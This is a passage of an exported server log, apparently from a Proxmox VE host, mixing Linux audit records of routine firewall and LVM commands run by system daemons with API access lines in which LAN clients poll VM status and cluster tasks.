sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964323780,"@rawstring":"node=pve type=EXECVE msg=audit(1781964323.780:60527): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965944866,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965944.866:67763): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65074 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965110366,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:29 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 815"} {"@timestamp":1781965935156,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.156:67729): argc=1 a0=\"date\""} {"@timestamp":1781965675815,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.815:66637): arch=c000003e syscall=59 success=yes exit=0 a0=5cf5425cfac8 a1=7fff0efb7b90 a2=5cf56d279680 a3=5cf5425b324e items=2 ppid=64003 pid=64005 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964323772,"@rawstring":"node=pve type=EXECVE msg=audit(1781964323.772:60524): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965944855,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965944.855:67760): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65073 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965109350,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:28 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 813"} {"@timestamp":1781965935151,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.151:67727): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965675815,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.815:66636): arch=c000003e syscall=59 success=yes exit=0 a0=7fff0efb7b50 a1=5cf56d29b3d0 a2=5cf56d279680 a3=5 items=2 ppid=64003 pid=64004 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964318761,"@rawstring":"node=pve type=EXECVE msg=audit(1781964318.761:60521): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965944502,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965944.502:67757): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be670 a1=64f8d74183e0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65072 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965108246,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1119"} {"@timestamp":1781965935143,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.143:67726): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965675808,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.808:66634): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64003 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964318748,"@rawstring":"node=pve type=EXECVE msg=audit(1781964318.748:60518): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965944468,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965944.468:67756): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c62f0 a1=64f8d73d0830 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65071 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965108246,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781965935136,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.136:67725): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965675799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.799:66633): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64002 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315700,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.700:60515): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965939849,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965939.849:67755): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65068 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965108246,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:27 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 830"} {"@timestamp":1781965935130,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.130:67724): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965675789,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.789:66632): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64001 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315684,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.684:60514): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965939844,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965939.844:67752): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65067 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965107136,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 494"} {"@timestamp":1781965935121,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.121:67723): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965675780,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.780:66631): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64000 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315681,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.681:60513): argc=1 a0=\"date\""} {"@timestamp":1781965935254,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.254:67749): arch=c000003e syscall=59 success=yes exit=0 a0=5ec6af689ae0 a1=5ec6af695dc0 a2=5ec6af663680 a3=5 items=2 ppid=65059 pid=65065 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965107136,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 494"} {"@timestamp":1781965935109,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.109:67722): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965675770,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.770:66630): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63999 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315666,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.666:60511): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965935251,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.251:67748): arch=c000003e syscall=59 success=yes exit=0 a0=5ec68d3a7ac8 a1=7ffc3c526de0 a2=5ec6af663680 a3=5ec68d38b24e items=2 ppid=65059 pid=65061 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965107136,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:26 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965934829,"@rawstring":"node=pve type=EXECVE msg=audit(1781965934.829:67721): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965675766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.766:66629): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5e22e2a50740 items=0 ppid=1156 pid=63998 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964315560,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.560:60510): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965935249,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.249:67747): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc3c526da0 a1=5ec6af685180 a2=5ec6af663680 a3=5 items=2 ppid=65059 pid=65060 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965107136,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:26 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 802"} {"@timestamp":1781965934824,"@rawstring":"node=pve type=EXECVE msg=audit(1781965934.824:67718): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965675762,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.762:66628): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1408b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63998 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315549,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.549:60509): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965935245,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.245:67745): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65059 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965106143,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:24 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 816"} {"@timestamp":1781965934364,"@rawstring":"node=pve type=EXECVE msg=audit(1781965934.364:67715): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965675755,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.755:66627): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc131770 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63997 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315540,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.540:60508): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965935238,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.238:67744): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65058 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965104940,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:24 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1119"} {"@timestamp":1781965934334,"@rawstring":"node=pve type=EXECVE msg=audit(1781965934.334:67714): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965675749,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.749:66626): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc12f050 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63996 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315528,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.528:60507): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965935231,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.231:67743): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65057 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965104940,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:24 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965930636,"@rawstring":"node=pve type=EXECVE msg=audit(1781965930.636:67713): argc=4 a0=\"/usr/bin/perl\" a1=\"/usr/bin/pvesh\" a2=\"delete\" a3=\"/nodes/pve/qemu/707\""} {"@timestamp":1781965675740,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.740:66625): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d520 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63995 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315515,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.515:60505): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965935223,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.223:67742): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65056 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965104940,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:23 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 824"} {"@timestamp":1781965929812,"@rawstring":"node=pve type=EXECVE msg=audit(1781965929.812:67712): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965675733,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.733:66624): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12f050 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63994 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315503,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.503:60504): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965935214,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.214:67741): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65055 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965104940,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 495"} {"@timestamp":1781965929799,"@rawstring":"node=pve type=EXECVE msg=audit(1781965929.799:67709): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965675723,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.723:66623): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0df040 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63993 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315492,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.492:60503): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965935211,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.211:67740): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=57f442af3740 items=0 ppid=1156 pid=65054 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965104036,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 492"} {"@timestamp":1781965926096,"@rawstring":"node=pve type=EXECVE msg=audit(1781965926.096:67706): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965675716,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.716:66622): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63992 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315479,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.479:60502): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965935208,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.208:67739): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f0b80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65054 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965104036,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:23 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965926093,"@rawstring":"node=pve type=EXECVE msg=audit(1781965926.093:67705): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965675705,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.705:66621): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63991 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315456,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.456:60501): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965935202,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.202:67738): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0fe770 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65053 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965104036,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:22 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 823"} {"@timestamp":1781965926091,"@rawstring":"node=pve type=EXECVE msg=audit(1781965926.091:67704): argc=1 a0=\"date\""} {"@timestamp":1781965675699,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.699:66620): arch=c000003e syscall=59 success=yes exit=0 a0=5ddef518b0e0 a1=5ddef5187e60 a2=5ddef5169680 a3=5 items=2 ppid=63984 pid=63990 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315349,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.349:60500): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965935196,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.196:67737): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e60d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65052 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965102717,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781965926087,"@rawstring":"node=pve type=EXECVE msg=audit(1781965926.087:67702): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965675695,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.695:66619): arch=c000003e syscall=59 success=yes exit=0 a0=5ddef119eac8 a1=7ffc593c8780 a2=5ddef5169680 a3=5ddef118224e items=2 ppid=63984 pid=63986 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315320,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.320:60499): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965935189,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.189:67736): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0880 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65051 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965102717,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:21 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 826"} {"@timestamp":1781965926080,"@rawstring":"node=pve type=EXECVE msg=audit(1781965926.080:67701): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965675691,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.691:66618): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc593c8740 a1=5ddef5170310 a2=5ddef5169680 a3=5 items=2 ppid=63984 pid=63985 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315293,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.293:60498): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965935183,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.183:67735): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e60d0 